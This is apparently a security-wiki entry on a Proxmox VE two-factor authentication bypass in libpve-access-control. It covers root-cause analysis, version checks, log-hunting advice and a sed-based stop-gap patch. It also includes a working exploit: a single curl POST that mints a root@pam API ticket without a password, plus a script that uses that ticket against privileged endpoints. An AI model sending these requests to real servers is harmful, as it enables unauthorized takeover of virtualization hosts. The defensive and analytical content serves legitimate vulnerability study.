Proxmox VE
Proxmox VE exposes its HTTPS management interface and API through pveproxy, normally on TCP 8006. Treat this as a high-value management plane: the ticket endpoint returns signed API sessions, and state-changing API calls also require the associated CSRF prevention token.[1][2]
nmap -Pn -sV -p8006 <target>
curl -skI https://<target>:8006/
TFA state confusion to a full API ticket
CVE-2023-54391 (PSA-2026-00043-1) affects libpve-access-control >= 7.0-7 and < 8.0.4. A client-controlled tfa-challenge parameter can place POST /api2/json/access/ticket directly into the second-factor path, so an unauthenticated request may obtain a full session as any enabled user without configured login TFA; default installations normally include root@pam in that set.[1][2]
A minimal authorized test is one request; password can be arbitrary and tfa-challenge only needs to be non-empty.[2]
curl -sk -X POST 'https://<target>:8006/api2/json/access/ticket' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=root@pam&password=x&tfa-challenge=1'
A vulnerable host returns HTTP 200 with data.username, a signed data.ticket, data.CSRFPreventionToken, and the selected user’s capability map. Patched versions reject the forged challenge with HTTP 401. The returned credential is a normal session rather than an intermediate TFA ticket, so it is immediately usable against privileged API operations.[2]
BASE='https://<target>:8006'
RESP="$(curl -sk -X POST "$BASE/api2/json/access/ticket" \
--data 'username=root@pam&password=x&tfa-challenge=1')"
TICKET="$(jq -r '.data.ticket' <<<"$RESP")"
CSRF="$(jq -r '.data.CSRFPreventionToken' <<<"$RESP")"
# Read-only validation
curl -sk "$BASE/api2/json/nodes" -H "Cookie: PVEAuthCookie=$TICKET"
# State-changing calls additionally require the CSRF token
curl -sk -X POST "$BASE/api2/json/<privileged-endpoint>" \
-H "Cookie: PVEAuthCookie=$TICKET" \
-H "CSRFPreventionToken: $CSRF"
Root-cause chain
The reusable bug pattern is client-selected authentication state plus fail-open null handling. Trace every branch from the public endpoint to the point where a full session is minted; do not assume that reaching an “MFA response” handler proves completion of the password step. The vulnerable chain is:[2]
- Supplying
tfa-challengeselects the second-factor branch and prevents execution from reaching the realm plugin’s password validator. - For accounts without the legacy
keysfield,user_get_tfa()returnsundefbefore loading the modernpriv/tfa.cfgobject. authenticate_2nd_new_do()sees the undefined configuration and returns beforeverify_ticket($tfa_challenge, 0, $username)can validate the challenge signature and user binding.- The caller interprets the missing pending-TFA value as authentication complete and mints a full ticket for the attacker-selected identity.
This suggests several general code-review and black-box tests: force later authentication states without first completing earlier states; mutate signed challenge fields to empty, arbitrary, cross-user, expired, and replayed values; test accounts with absent, empty, disabled, migrated, and directory-synchronized MFA metadata; and verify that every null/error result fails closed before session creation.[2]
Version verification
Check the installed package rather than inferring exposure only from the overall PVE release, because package and platform versions correlate loosely.[1]
dpkg-query -W -f '${Version}\n' libpve-access-control
# or
pveversion -v
The package, configuration, and network boundaries are:[1]
- Vulnerable:
libpve-access-control >= 7.0-7 and < 8.0.4. - Fixed:
libpve-access-control >= 8.0.4; supported PVE releases are not affected. - Configuration boundary: users with any second factor configured for login do not take the vulnerable no-TFA path.
- Reachability boundary: exploitation requires access to TCP 8006 directly or through a reverse proxy.
Detection
Hunt in pveproxy access logs and syslog for POST /api2/json/access/ticket requests carrying tfa-challenge. Prioritize HTTP 200 ticket creation from unexpected sources, successful root@pam authentication without the expected preceding flow, and follow-on terminal, permissions, VM, storage, backup, migration, networking, or power-management API requests. On patched hosts, bursts of HTTP 401 responses to the same endpoint can indicate attempted exploitation, but normal failed logins and broken clients remain false positives.[2]
Remediation
Upgrade to a supported release with libpve-access-control >= 8.0.4. For an affected EOL installation that cannot be upgraded immediately, Proxmox’s stop-gap inserts challenge verification before the vulnerable second-factor branch; verify that the file contains three matching calls and then reload both services.[1]
sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm
grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l
systemctl reload-or-restart pvedaemon pveproxy
Reduce exposure independently of patching: restrict TCP 8006 to trusted administration networks. A localhost-only deployment can set LISTEN_IP="127.0.0.1" in /etc/default/pveproxy, restart pveproxy, and provide access through a VPN or SSH tunnel.[1][2]